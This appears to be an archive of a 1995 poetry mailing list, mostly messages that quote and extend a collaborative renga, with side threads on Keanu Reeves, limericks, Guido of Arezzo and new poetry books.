There is one organization running the whole country. The river teemed with death. We missed you."
Avail. Dec. $7.95

Also from Tsunami (Box 3723 MPO, Vancouver, BC V6B 3Z1)
The Garcia Family Co-Mercy Lissa Wolsak $8.95
Thimking of You Dan Farrell $8.95
XEclogue Lisa Robertson (Cover art and photographs by Kelly Wood) $8.95
Pause Button Kevin Davies $8.95
Ambit Gerald Creede $7.95
The Relative Minor Deanna Ferguson $9.95

Raddle Moon and Tsunami also available through SPD

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1011. H. T. KIRBY-SMITH
Re: Music and the Renga
Wed 30 Aug 1995

> *I'd like to hear hear him sing his own name.*
>
> *-dan bouchard*

Let's see: Guido da Arrezo--

I tried it, and it comes out a little like "Some Enchanted Evening."

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

↑ Index

1012. Lisa Robertson
corrected vancouver
Wed 30 Aug 1995

---

apologies for what is mostly a repeat of what I just sent-- but slash-marks in the original text screwed up the message a little. I think. BOB PERELMAN AT THE KOOTENAY SCHOOL OF WRITING: OCT 13 - 15

Culture - Game - Theory: Language Politics and the Contemporary Social Situation
of Writing

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No longer an age of transition, your prophecies
are driven deep into jargon, there is no standard
so purifying the world you speak all day,
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(Song)

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Pause Button Kevin Davies $8.95
Ambit Gerald Creede $7.95
The Relative Minor Deanna Ferguson $9.95

Raddle Moon and Tsunami also available through SPD

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1013. **Carl Lynden Peters**
Re: referring
Wed 30 Aug 1995

> *I have been rifling the books and staying up all night thinking and drinking only mineral water from the Rockies, and I think I have it:*
>
> *every word in every language refers*

> *and when you get right down to it, none of them does, really.*

-- all and nothing

c

↑ Index

1014. **Jorge Guitart**
Re: Renga-Z
Wed 30 Aug 1995

> > > >> >> In the books were dreams and in the dreams were books.
> > > >> >> And flew through windows, lightning green and fine morning>>
>> First in
> > verted whistle of a cardinal in the poplar
> > > >> >> The book and the oboe on the grass under sun and cloud
> > > >> >> Go endlessly, an obtuse Prussian blue, it binds
> > > >> >> The caravan of windows to what they flee
> > > >> >> These lace curtains, more gauze than bondage, more
> > > >> >> Mollycoddled than aware, thin-spined and pebbling
> > > >> >> but narrow in the waist or waspish Sunday years ago
> > > >> >> Over coffee topped with whipped cream, the Times blowing
> > > >> >> & opining, heavy humid air, cumulus amusing against the
> > > >> >> bleached ribcage ripcorded into compassed wind
> > > >> >> kissing the weatherwoman between her breasts as she
> > > >> >> gives gracious problem: fanatical snacks, landscape of
> > > >> >> flicka my best friend and the storm in the glass of water's
> > > >> >> halfway pertinent incision we keep making safe for ignorance
> > > >> >> (inspection
> > > >> >> denied for not knowing how credenza was meant) & neo-
colonizing
> > > >> >> pockets in small furniture intended house sequentially several
> > > >> >> mountains away but it wasn't, you know, a big tango
> > > >> >> when the attorney general came, selah hales said, "Dias, oh,ho,
> > > >> >> kook!"
> > > >> >> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > > >> >> warehouse, curls
> > > >> >> no ideas but the woven fabric the texture so to speak was at the
> > > >> >> dry cleaners
> > > >> >> piping hot and gloved-in somewhere unsalted, perched on
> > > >> >> prescience
> > > >> >> the chair is sad, alas, and i've lusted tootles' livers
> > > >> >> the odor day toy a cello day dis chevys a bo coo daughter chose

> > > >> >> encore
> > > >> >> Flaubert because we're waiting all throughout eternity for
> > > >> >> moments to be
> > > >> >> of such suchness. In the nooks were creams and in the streams
> > > >> >> were hooks.
> > > >> >> All melded like striated film leftover in the pastel seeds of
> > > >> >> darkness
> > > >> >> falling like a counterirritant around the manchineel. Likewise
> > > >> >> sandpaper juxtaposed with seasoned instruments and recently
soft
> > > >> >> fruit
> > > >> >> of subject's object status, violent transformation
> > > >> >> la Ste. Therese into beaming cumulus apokoinu switchback
> > > >> >> and in the u-turns were bookmobiles rounding angles considered
> > > >> >> shrill as pine left in the acres to be aging
> > > >> >> flawlessly, flutes sing genderless in trio, surprised
> > > >> >> by how quiet effort really is or is not, fast enough to sleep
> > > >> >> through thunderstorms, arm over thigh until light shakes
> > > >> >> petals free of names that rain across known skin forgotten
> > > >> >> alive in our hearse hurts, projective nurse if she is to
> > > >> >> go ahead
> > > >> >> and dance, composing instead of straining muscles, far eyes
> > > >> >> out, transplanted organs speak, the idiom
> > > >> >> inseams, a snare as solvently unequal-- the power
> > > >> >> of boys talking on their feet and men talking to their hands
> > > >> in whispers conducive to disrobing weaponry
> > down where dead men tell no lies and misdemeanors
> > whisper the lies of sleep to form small scented chapters
> > > of participation, a kind of rhomboid pastry it turns out
> > reading, "sex is true happiness;the idea that merely by screw-
> drivers, mimosas, and those bloody marionettes we can
 inflict the something that is on the many who are. But the meager

↑ Index

1015. **Jorge Guitart**

Re: Renga

Wed 30 Aug 1995

On Tue, 29 Aug 1995, George Bowering wrote:

> >
> > > > >In the books were dreams and in the dreams were books.>
> > > > >And flew through windows, lightning green and fine morning

> > > > >First inverted whistle of a cardinal in the poplar
> > > > >The book and the oboe on the grass under sun and cloud
> > > > >Go endlessly, an obtuse Prussian blue, it binds
> > > > >The caravan of windows to what they flee
> > > > >These lace curtains, more gauze than bondage, more
> > > > >Mollycoddled than aware, thin-spined and pebbling
> > > > >but narrow in the waist or waspish Sunday years ago
> > > > >Over coffee topped with whipped lads, the Times blowing
> > > > >& opining, heavy humid air, cumulus amusing against the
> > > > >bleached ribcage ripcorded into compassed wind
> > > > >kissing the weatherwoman between her beasts as she
> > > > >gives gracious problem: fanatical snacks, landscape of
> > > > >flicka my best friend and the storm in the glass of water's
> > > > >halfway pertinent incision we keep making safe for ignorance
> > > > > (inspection
> > > > >denied for not knowing how credenza was meant) & neo-colonizing
> > > > >pockets in small furniture intended house sequentially several
> > > > >mountains away but it wasn't, you know, a big tango
> > > > >when the attorney general came, selah hales said, "Dias, oh,ho,
> > > > > kook!"
> > > > >Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > > > > warehouse, curls
> > > > >no ideas but the woven fabric the texture so to speak was at the
> > > > > dry cleaners
> > > > >piping hot and gloved-in somewhere unsalted, perched on
> > > > > prescience
> > > > >the chair is sad, alas, and i've lusted tootles' livers
> > > > >the odor day toy a cello day dis chevys a bo coo daughter chose
> > > > > encore
> > > > >Flaubert because we're waiting all throughout eternity for
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> > > > >sandpaper juxtaposed with seasoned instruments and recently soft
> > > > > fruit
> > > > >of subject's object status, violent transformation
> > > > >la Ste. Therese into beaming cumulus apokoinu switchback
> > > > >and in the u-turns were bookmobiles rounding angles considered
> > > > >shrill as pine left in the acres to be aging

> > > > >flawlessly, flutes sing genderless in trio, surprised
> > > > >by how quiet effort really is or is not, fast enough to sleep
> > > > >through thunderstorms, arm over thigh until light shakes
> > > > >petals free of names that rain across known skin forgotten
> > > > >alive in our hearse hurts, projective nurse if she is to
> > > > > go ahead
> > > > >and dance, composing instead of straining muscles, far eyes
> > > > >saunter lope pentecost beam operator will you cockpit
> > > > >out, transplanted organs speak, the idiom
> > > > >inseams, a snare as solvently unequal-- the power
> > > > uncreased although each snare still trembles quantum
> > > which explains why the pump is busted and why
> > > he preferred whole afternoons on the phone to that
> > crap about not having a cousin on the moon
> > > > >capable of keeping the canoe right way up in the cool
shade of the mimetic & chewing on the emetic stuff. Yet he

↑ Index

1016. **Edward Foster**
Re: desire / and the 39 steps
Wed 30 Aug 1995

---

and done, his artifice outside the edge. what's real is on a screen. the young man in his bed has the coverlet, can trace dry stitching in his sheet. "wild pumping valve"? true? in his determination: yours, and mine.

↑ Index

1017. **Edward Foster**
hey, ron, watch it!
Wed 30 Aug 1995

---

memo to rs: rumor has it you compared me, coupla weeks ago, to jersey city sleaze. hey, ron, it's folks like you, swimming against the tide, that make up my nearest, dearest. what's a little ideological difference among friends? best to you, r.

↑ Index

1018. **Edward Foster**
Re: Repost #2
Wed 30 Aug 1995

---

all of us at rosy's diner here in jersey city record our outrage at rs's comparing a local sleaze with OUR NEXT PRESIDENT; sleaze is sleaze, whereas OUR

NEXT PRESIDENT is dignified, upstanding, and always wears a suit. -tony and the gang

↑ Index

1019. **Edward Foster**
shocked and dismayed
Wed 30 Aug 1995

---

i just returned to town to discover that in my absence, someone (who shall be nameless) has compared me here to--well, you know who. i'm shocked and dismayed at this mudslinging, comparing ME, yr everyday sleaze, to... oh, i just can't go oon.

↑ Index

1020. **Jordan Davis.**
Re: Millay
Wed 30 Aug 1995

I believe Marisa J has been kicking around a piece on "renascence" by esvm for a while now. At the very least, she's a millay booster who got me to read her as a modernist on par with Niedecker and Loy... maybe...

[redacted]

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1021. **Jordan Davis.**
Re: Renga
Wed 30 Aug 1995

In the books were dreams and in the dreams were books.>
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
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bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her beasts as she
gives gracious problem: fanatical snacks, landscape of

flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance (inspection
denied for not knowing how credenza was meant) & neo-colonizing
pockets in small furniture intended house sequentially several
mountains away but it wasn't, you know, a big tango
when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls
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the chair is sad, alas, and i've lusted tootles' livers
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by how quiet effort really is or is not, fast enough to sleep
through thunderstorms, arm over thigh until light shakes
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and dance, composing instead of straining muscles, far eyes
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out, transplanted organs speak, the idiom
inseams, a snare as solvently unequal-- the power
uncreased although each snare still trembles quantum
which explains why the pump is busted and why
he preferred whole afternoons on the phone to that
crap about not having a cousin on the moon
capable of keeping the canoe right way up in the cool
prose of the upper Hudson, dinner's at seven so

↑ Index

1022. **Sheila E. Murphy**
Re: Renga-Z
Wed 30 Aug 1995

>> > > >> >> In the books were dreams and in the dreams were books.
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Firs
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>> > > >> >> inseams, a snare as solvently unequal-- the power
>> > > >> >> of boys talking on their feet and men talking to their hands
>> > > >> in whispers conducive to disrobing weaponry
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>> > > of participation, a kind of rhomboid pastry it turns out
>> > reading, "sex is true happiness;the idea that merely by screw-
>> drivers, mimosas, and those bloody marionettes we can
> inflict the something that is on the many who are. But the meager cheshiring goes global last (repasting where we thought we were

↑ Index

1023. **George Bowering**

Re: Reeves

Wed 30 Aug 1995

There is an obvious reason for Keanu Reeves's perceived vulnerability and lack of Waynesian swagger etc. Canadians are more sensitive and less aggressive and all that stuff. Isnt that normal?

↑ Index

1024. Lindz Williamson
More Movie talk.
Wed 30 Aug 1995

Keanu shouldn't speak. He's performing best when he just stands there with his mouth open, gazing into space. HE butchers some of the best dialogue from Henry IV in MY Own Private Idaho, which is a pretty good adaptation of Will's play. MAtt Dillian was the first choice for the part, but he was a little scared of the love scenes with RIver, and didn't like being portrayed as a male prostitute as Drug Store Cowboy and the SE HInton films had type cast him enough already as the moody outsider. I also think that KEanu has ruined A Walk in the Clouds. It's such a beautiful film witha great cast, and then there's dork boy standing there. It turns my stomah.

Lindz

Hey I was thinking why don't we start doing limericks, there always oodles of fun. I'll start

There once was a girl from Moose Jaw
Who ran very far and saw . . .

↑ Index

1025. Joseph Zitt
Re: Music and the Renga
Wed 30 Aug 1995

On 30 Aug 95 at 11:15, H. T. KIRBY-SMITH wrote:

> *I just this minute learned that a certain Guido of Arezzo, round about the year 1025, invented a way of combining poetry and music. He made each of the vowels equivalent to a note on a scale: a=C, e=D, i=E, o=F, and u=G.*

Jackson MacLow did much the same thing (I wonder if he knew of GofA at the time?) in his Instruments pieces..

Speaking of MacLow: I'd like to quote a piece of his (the "Statement" from "The Poetics of the New American Poetry") on my Web page, since he explains stuff about poetry and anarchism far better than I could. How could I get permission? ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

↑ Index

1026. **Jeffrey Timmons**
Re: More Movie talk.
Wed 30 Aug 1995

The best thing K. Reeves ever did was Bill and Ted's Excellent Adventure.

Jeffrey Timmons

↑ Index

1027. **Eryque Gleason**
Re: Renga
Wed 30 Aug 1995

>In the books were dreams and in the dreams were books.>
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>Over coffee topped with whipped lads, the Times blowing
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>bleached ribcage ripcorded into compassed wind
>kissing the weatherwoman between her beasts as she
>gives gracious problem: fanatical snacks, landscape of
>flicka my best friend and the storm in the glass of water's
>halfway pertinent incision we keep making safe for ignorance
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>denied for not knowing how credenza was meant) & neo-colonizing
>pockets in small furniture intended house sequentially several
>mountains away but it wasn't, you know, a big tango
>when the attorney general came, selah hales said, "Dias, oh,ho,
> kook!"
>Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> warehouse, curls
>no ideas but the woven fabric the texture so to speak was at the dry
> cleaners
>piping hot and gloved-in somewhere unsalted, perched on prescience
>the chair is sad, alas, and i've lusted tootles' livers
>the odor day toy a cello day dis chevys a bo coo daughter chose encore
>Flaubert because we're waiting all throughout eternity for moments

> to be
>of such suchness. In the nooks were creams and in the streams were
> hooks.
>All melded like striated film leftover in the pastel seeds of darkness
>falling like a counterirritant around the manchineel. Likewise
>sandpaper juxtaposed with seasoned instruments and recently soft
> fruit
>of subject's object status, violent transformation
>la Ste. Therese into beaming cumulus apokoinu switchback
>and in the u-turns were bookmobiles rounding angles considered
>shrill as pine left in the acres to be aging
>flawlessly, flutes sing genderless in trio, surprised
>by how quiet effort really is or is not, fast enough to sleep
>through thunderstorms, arm over thigh until light shakes
>petals free of names that rain across known skin forgotten
>alive in our hearse hurts, projective nurse if she is to go ahead
>and dance, composing instead of straining muscles, far eyes
>saunter lope pentecost beam operator will you cockpit
>out, transplanted organs speak, the idiom
>inseams, a snare as solvently unequal-- the power
>uncreased although each snare still trembles quantum
>which explains why the pump is busted and why
>he preferred whole afternoons on the phone to that
>crap about not having a cousin on the moon
>capable of keeping the canoe right way up in the cool
>prose of the upper Hudson, dinner's at seven so
he through herself night outright read backwards this

_____!_____

Eryque "Just call me Eric" Gleason If I weren't a monkey, there'd 71 E. 32nd St. Box 949 be problems. Chicago, IL 60616

[redacted]

↑ Index

1028. Sheila E. Murphy

Re: Renga

Thu 31 Aug 1995

>In the books were dreams and in the dreams were books.>
>And flew through windows, lightning green and fine morning
>First inverted whistle of a cardinal in the poplar
>The book and the oboe on the grass under sun and cloud

>Go endlessly, an obtuse Prussian blue, it binds
>The caravan of windows to what they flee
>These lace curtains, more gauze than bondage, more
>Mollycoddled than aware, thin-spined and pebbling
>but narrow in the waist or waspish Sunday years ago
>Over coffee topped with whipped lads, the Times blowing
>& opining, heavy humid air, cumulus amusing against the
>bleached ribcage ripcorded into compassed wind
>kissing the weatherwoman between her beasts as she
>gives gracious problem: fanatical snacks, landscape of
>flicka my best friend and the storm in the glass of water's
>halfway pertinent incision we keep making safe for ignorance
> (inspection
>denied for not knowing how credenza was meant) & neo-colonizing
>pockets in small furniture intended house sequentially several
>mountains away but it wasn't, you know, a big tango
>when the attorney general came, selah hales said, "Dias, oh,ho,
> kook!"
>Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> warehouse, curls
>no ideas but the woven fabric the texture so to speak was at the dry
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> to be
>of such suchness. In the nooks were creams and in the streams were
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>All melded like striated film leftover in the pastel seeds of darkness
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>shrill as pine left in the acres to be aging
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>by how quiet effort really is or is not, fast enough to sleep
>through thunderstorms, arm over thigh until light shakes
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>alive in our hearse hurts, projective nurse if she is to go ahead

>and dance, composing instead of straining muscles, far eyes
>saunter lope pentecost beam operator will you cockpit
>out, transplanted organs speak, the idiom
>inseams, a snare as solvently unequal-- the power
>uncreased although each snare still trembles quantum
>which explains why the pump is busted and why
>he preferred whole afternoons on the phone to that
>crap about not having a cousin on the moon
>capable of keeping the canoe right way up in the cool
>prose of the upper Hudson, dinner's at seven so
shimmy toward the portabello traction

↑ Index

1029. Sheila E. Murphy

Re: Renga

Thu 31 Aug 1995

>>In the books were dreams and in the dreams were books.>
>>And flew through windows, lightning green and fine morning
>>First inverted whistle of a cardinal in the poplar
>>The book and the oboe on the grass under sun and cloud
>>Go endlessly, an obtuse Prussian blue, it binds
>>The caravan of windows to what they flee
>>These lace curtains, more gauze than bondage, more
>>Mollycoddled than aware, thin-spined and pebbling
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>>flicka my best friend and the storm in the glass of water's
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>>denied for not knowing how credenza was meant) & neo-colonizing
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>> kook!"
>>Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
>> warehouse, curls
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>> to be
>>of such suchness. In the nooks were creams and in the streams were
>> hooks.
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>> fruit
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>>through thunderstorms, arm over thigh until light shakes
>>petals free of names that rain across known skin forgotten
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>>inseams, a snare as solvently unequal-- the power
>>uncreased although each snare still trembles quantum
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>>he preferred whole afternoons on the phone to that
>>crap about not having a cousin on the moon
>>capable of keeping the canoe right way up in the cool
>>prose of the upper Hudson, dinner's at seven so
>he through herself night outright read backwards this
petrified tangle of consonants supposed to mean

↑ Index

1030. **Steve Carll**
Re: your mail
Thu 31 Aug 1995

>> Or, to bring the question into poetics list currency, let's note that renga
>> is, by tradition, a Japanese form. Japan's society is every bit as
>> patriarchal as, well, most of the others on the globe, last time I heard.

>> So are we importing the local Trojan Horse for Japanese-style patriarchy by
>> playing around with this form?
>>
>> Steve
>>
To which Jorge replies:

> *And, let's not show any more of Shakespeare because when he was around there were no female actors in his plays?*
>
> *Did you notice that women have been active in the renga here? It's not a boy thing.*

Well, that by itself doesn't affect my question; uncounted women throughout history have been complicit in their own oppression. But I'm really only playing devil's avocado here anyway, so I'll stop. I don't believe the form (and as A.L. Nielsen points out, we're using a pretty adapted form of the form anyway) necessarily sneaks its own intent in under that of the user, provided she's aware of what she's doing adapting the form for her use anyways.

Steve

↑ Index

1031. **George Bowering**
Re: Renga!
Thu 31 Aug 1995

> *In the books were dreams and in the dreams were books.>*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped lads, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her beasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance*
> *(inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*
> *pockets in small furniture intended house sequentially several*

> *mountains away but it wasn't, you know, a big tango*
> *when the attorney general came, selah hales said, "Dias, oh,ho,*
> *kook!"*
> *Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco*
> *warehouse, curls*
> *no ideas but the woven fabric the texture so to speak was at the dry*
> *cleaners*
> *piping hot and gloved-in somewhere unsalted, perched on prescience*
> *the chair is sad, alas, and i've lusted tootles' livers*
> *the odor day toy a cello day dis chevys a bo coo daughter chose encore*
> *Flaubert because we're waiting all throughout eternity for moments*
> *to be*
> *of such suchness. In the nooks were creams and in the streams were*
> *hooks.*
> *All melded like striated film leftover in the pastel seeds of darkness*
> *falling like a counterirritant around the manchineel. Likewise*
> *sandpaper juxtaposed with seasoned instruments and recently soft*
> *fruit*
> *of subject's object status, violent transformation, William*
> *la Ste. Therese into beaming cumulus apokoinu switchback*
> *and in the u-turns were bookmobiles rounding angles considered*
> *shrill as pine left in the acres to be aging, Dean,*
> *flawlessly, flutes sing genderless in trio, surprised*
> *by how quiet effort really is or is not, fast enough to sleep*
> *through thunderstorms, arm over thigh until light shakes*
> *petals free of names that rain across known skin forgotten, Howells*
> *alive in our hearse hurts, projective nurse if she is to go ahead*
> *and dance, composing instead of straining muscles, far eyes*
> *saunter lope pentecost beam operator will you cockpit*
> *out, transplanted organs speak, the idiom^h*
> *inseams, a snare as solvently unequal-- the power*
> *uncreased although each snare still trembles quantum*
> *which explains why the pump is busted and why*
> *he preferred whole afternoons on the phone to that*
> *crap about not having a cousin on the moon*
> *capable of keeping the canoe right way up in the cool*
> *prose of the upper Hudson, dinner's at seven so*
> *he through herself night outright read backwards this*
> *petrified tangle of consonants supposed to mean*
> *a lower on-base percentage in September, the long season*

↑ Index

1032. **George Bowering**

Re: limerick

Thu 31 Aug 1995

Lindz, your lines dont have limerick scansion.

↑ Index

1033. Ron Silliman
Keanu, the living god
Thu 31 Aug 1995

But did you like him as Buddha in The Little Buddha?

Limerick is the name of a nuclear power plant on the other side of Valley Forge.

Ron

↑ Index

1034. R I Caddel
New books
Thu 31 Aug 1995

Since Bill Corbett's cropped up on this list, it's worth giving a plug for his NEW AND SELECTED POEMS just out from Zoland Books, 246 pages of exact and physical writing as good as you'll get. Corbett was the subject of a special issue of LIFT magazine earlier this year.

Then there's a new SELECTED POEMS by John Riley from Carcanet. Riley was connected with the "Cambridge School" poets (Prynne, Crozier, Oliver etc), and to my mind his "Czargrad" (included in full in its final version in this edition) is one of the finest poems out of the UK in the last twenty years.

I've had two or three enquiries from US about recordings of Bunting: the best set is available from Richard Swigg, English Dept., Keele University, Keele, Staffs., ST5 5BG UK. Eight cassette set, including most of the major poems, some lectures and two interviews, $100. "Briggflatts" (v.1 of this set) is available on its own, $19. Cheques made to Keele University. The same outfit does all kinds of other tapes - Williams, Roy Fisher, MacDiarmid...

x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

1035. **Jorge Guitart**

Re: Renga

Thu 31 Aug 1995

On Wed, 30 Aug 1995, Jordan Davis. wrote:

> In the books were dreams and in the dreams were books.>
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped lads, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her beasts as she
> gives gracious problem: fanatical snacks, landscape of
> flicka my best friend and the storm in the glass of water's
> halfway pertinent incision we keep making safe for ignorance
> (inspection
> denied for not knowing how credenza was meant) & neo-colonizing
> pockets in small furniture intended house sequentially several
> mountains away but it wasn't, you know, a big tango
> when the attorney general came, selah hales said, "Dias, oh,ho,
> kook!"
> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> warehouse, curls
> no ideas but the woven fabric the texture so to speak was at the dry
> cleaners
> piping hot and gloved-in somewhere unsalted, perched on prescience
> the chair is sad, alas, and i've lusted tootles' livers
> the odor day toy a cello day dis chevys a bo coo daughter chose encore
> Flaubert because we're waiting all throughout eternity for moments
> to be
> of such suchness. In the nooks were creams and in the streams were
> hooks.
> All melded like striated film leftover in the pastel seeds of darkness
> falling like a counterirritant around the manchineel. Likewise
> sandpaper juxtaposed with seasoned instruments and recently soft
> fruit

> of subject's object status, violent transformation
> la Ste. Therese into beaming cumulus apokoinu switchback
> and in the u-turns were bookmobiles rounding angles considered
> shrill as pine left in the acres to be aging
> flawlessly, flutes sing genderless in trio, surprised
> by how quiet effort really is or is not, fast enough to sleep
> through thunderstorms, arm over thigh until light shakes
> petals free of names that rain across known skin forgotten
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> and dance, composing instead of straining muscles, far eyes
> saunter lope pentecost beam operator will you cockpit
> out, transplanted organs speak, the idiom
> inseams, a snare as solvently unequal-- the power
> uncreased although each snare still trembles quantum
> which explains why the pump is busted and why
> he preferred whole afternoons on the phone to that
> crap about not having a cousin on the moon
> capable of keeping the canoe right way up in the cool
> prose of the upper Hudson, dinner's at seven so
what if the trees are conservative well i hate them

↑ Index

1036. **Jorge Guitart**
Re: Renga
Thu 31 Aug 1995

On Wed, 30 Aug 1995, Sheila E. Murphy wrote:

> >In the books were dreams and in the dreams were books.>
> >And flew through windows, lightning green and fine morning
> >First inverted whistle of a cardinal in the poplar
> >The book and the oboe on the grass under sun and cloud
> >Go endlessly, an obtuse Prussian blue, it binds
> >The caravan of windows to what they flee
> >These lace curtains, more gauze than bondage, more
> >Mollycoddled than aware, thin-spined and pebbling
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> >bleached ribcage ripcorded into compassed wind
> >kissing the weatherwoman between her beasts as she
> >gives gracious problem: fanatical snacks, landscape of
> >flicka my best friend and the storm in the glass of water's

> >halfway pertinent incision we keep making safe for ignorance
> > (inspection
> >denied for not knowing how credenza was meant) & neo-colonizing
> >pockets in small furniture intended house sequentially several
> >mountains away but it wasn't, you know, a big tango
> >when the attorney general came, selah hales said, "Dias, oh,ho,
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> >no ideas but the woven fabric the texture so to speak was at the dry
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> >Flaubert because we're waiting all throughout eternity for moments
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> > fruit
> >of subject's object status, violent transformation
> >la Ste. Therese into beaming cumulus apokoinu switchback
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> >shrill as pine left in the acres to be aging
> >flawlessly, flutes sing genderless in trio, surprised
> >by how quiet effort really is or is not, fast enough to sleep
> >through thunderstorms, arm over thigh until light shakes
> >petals free of names that rain across known skin forgotten
> >alive in our hearse hurts, projective nurse if she is to go ahead
> >and dance, composing instead of straining muscles, far eyes
> >saunter lope pentecost beam operator will you cockpit
> >out, transplanted organs speak, the idiom
> >inseams, a snare as solvently unequal-- the power
> >uncreased although each snare still trembles quantum
> >which explains why the pump is busted and why
> >he preferred whole afternoons on the phone to that
> >crap about not having a cousin on the moon
> >capable of keeping the canoe right way up in the cool
> >prose of the upper Hudson, dinner's at seven so

> shimmy toward the portabello traction
  and I'll carry you to your logical conclusion, but don't

↑ Index

1037. **Jorge Guitart**
Re: Renga!
Thu 31 Aug 1995

On Thu, 31 Aug 1995, George Bowering wrote:

> >
> > >>In the books were dreams and in the dreams were books.>
> > >>And flew through windows, lightning green and fine morning
> > >>First inverted whistle of a cardinal in the poplar
> > >>The book and the oboe on the grass under sun and cloud
> > >>Go endlessly, an obtuse Prussian blue, it binds
> > >>The caravan of windows to what they flee
> > >>These lace curtains, more gauze than bondage, more
> > >>Mollycoddled than aware, thin-spined and pebbling
> > >>but narrow in the waist or waspish Sunday years ago
> > >>Over coffee topped with whipped lads, the Times blowing
> > >>& opining, heavy humid air, cumulus amusing against the
> > >>bleached ribcage ripcorded into compassed wind
> > >>kissing the weatherwoman between her beasts as she
> > >>gives gracious problem: fanatical snacks, landscape of
> > >>flicka my best friend and the storm in the glass of water's
> > >>halfway pertinent incision we keep making safe for ignorance
> > >> (inspection
> > >>denied for not knowing how credenza was meant) & neo-colonizing
> > >>pockets in small furniture intended house sequentially several
> > >>mountains away but it wasn't, you know, a big tango
> > >>when the attorney general came, selah hales said, "Dias, oh,ho,
> > >> kook!"
> > >>Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > >> warehouse, curls
> > >>no ideas but the woven fabric the texture so to speak was at the dry
> > >> cleaners
> > >>piping hot and gloved-in somewhere unsalted, perched on prescience
> > >>the chair is sad, alas, and i've lusted tootles' livers
> > >>the odor day toy a cello day dis chevys a bo coo daughter chose encore
> > >>Flaubert because we're waiting all throughout eternity for moments
> > >> to be
> > >>of such suchness. In the nooks were creams and in the streams were

> > >> hooks.
> > >>All melded like striated film leftover in the pastel seeds of darkness
> > >>falling like a counterirritant around the manchineel. Likewise
> > >>sandpaper juxtaposed with seasoned instruments and recently soft
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> > >>of subject's object status, violent transformation, William
> > >>la Ste. Therese into beaming cumulus apokoinu switchback
> > >>and in the u-turns were bookmobiles rounding angles considered
> > >>shrill as pine left in the acres to be aging, Dean,
> > >>flawlessly, flutes sing genderless in trio, surprised
> > >>by how quiet effort really is or is not, fast enough to sleep
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> > >>saunter lope pentecost beam operator will you cockpit
> > >>out, transplanted organs speak, the idiom^h
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> > >>which explains why the pump is busted and why
> > >>he preferred whole afternoons on the phone to that
> > >>crap about not having a cousin on the moon
> > >>capable of keeping the canoe right way up in the cool
> > >>prose of the upper Hudson, dinner's at seven so
> > >he through herself night outright read backwards this
> > petrified tangle of consonants supposed to mean
> > >>a lower on-base percentage in September, the long season
and "The environmentalists are trying to destroy your daddy"

↑ Index

1038. **Willa Jarnagin**
Re: New books
Thu 31 Aug 1995

On Thu, 31 Aug 1995, R I Caddel wrote:

> *Since Bill Corbett's cropped up on this list, it's worth giving a plug for his NEW AND SELECTED POEMS just out from Zoland Books, 246 pages of exact and physical writing as good as you'll get. Corbett was the subject of a special issue of LIFT magazine earlier this year.*

YES!!! Bill's poems are great. He doesn't get half the attention he deserves. Check him out! If anyone is interested in getting the *lift* issue mentioned above, write to Joe Torra, 10R Oxford St., Somerville MA 02143.

Willa

↑ Index

1039. **Jordan Davis.**
Re: Renga
Thu 31 Aug 1995

> In the books were dreams and in the dreams were books.>
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped lads, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her beasts as she
> gives gracious problem: fanatical snacks, landscape of
> flicka my best friend and the storm in the glass of water's
> halfway pertinent incision we keep making safe for ignorance
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> denied for not knowing how credenza was meant) & neo-colonizing
> pockets in small furniture intended house sequentially several
> mountains away but it wasn't, you know, a big tango
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> Flaubert because we're waiting all throughout eternity for moments
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> of such suchness. In the nooks were creams and in the streams were
> hooks.
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> shrill as pine left in the acres to be aging
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> by how quiet effort really is or is not, fast enough to sleep
> through thunderstorms, arm over thigh until light shakes
> petals free of names that rain across known skin forgotten
